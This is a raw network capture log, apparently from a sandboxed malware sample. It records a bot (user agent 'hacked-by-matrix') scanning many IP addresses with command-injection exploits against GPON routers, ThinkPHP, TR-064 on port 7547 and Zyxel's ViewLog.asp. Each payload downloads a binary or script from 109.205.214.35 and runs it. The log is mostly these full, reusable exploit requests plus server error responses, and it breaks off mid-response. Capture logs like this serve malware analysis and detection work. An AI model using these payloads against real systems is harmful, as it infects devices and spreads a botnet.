Mar 21, 2024 05:18:36.029788017 CET	500	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:18:36 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
931	192.168.2.13	41810	18.197.35.116	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.620102882 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:32.535815001 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:32.712415934 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
932	192.168.2.13	37406	76.171.22.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.621810913 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:35.833199978 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:36.029818058 CET	138	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
933	192.168.2.13	41700	112.74.170.110	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.807532072 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:32.217132092 CET	156	IN	HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 21 Mar 2024 04:18:32 GMT Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
934	192.168.2.13	43316	27.234.148.65	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.975261927 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
935	192.168.2.13	44954	175.225.107.19	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:31.979382992 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:32.283931971 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:18:32 GMT Content-length: 0
Mar 21, 2024 05:18:33.142524004 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:18:32 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
936	192.168.2.13	45890	173.33.234.143	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.262557030 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:32.621014118 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:32.980957031 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
937	192.168.2.13	51932	72.85.232.74	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.749507904 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:32.876550913 CET	311	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 31 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 3a 20 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 6d 3f 69 6d 61 67 65 73 2f 0d 0a 3c 50 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>File Not Found</TITLE></HEAD><BODY><H1>File Not Found</H1>The requested URL was not found on this server: /GponForm/diag_Form?images/<P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
938	192.168.2.13	56652	24.217.96.142	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.750255108 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:36.851835966 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:37.005438089 CET	500	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:18:38 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
939	192.168.2.13	33028	213.240.147.17	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.820329905 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:33.096667051 CET	998	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:18:32 GMT Server: Apache/2.4.38 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6b 76 67 6c 6d 2d 77 6c 61 6e 30 30 2e 63 75 73 74 2e 74 61 6c 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:33 GMTServer: Apache/2.4.38 (Debian)Content-Length: 316Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at kvglm-wlan00.cust.tal.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
940	192.168.2.13	55054	178.251.72.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:32.829041004 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:33.023411036 CET	914	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:18:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 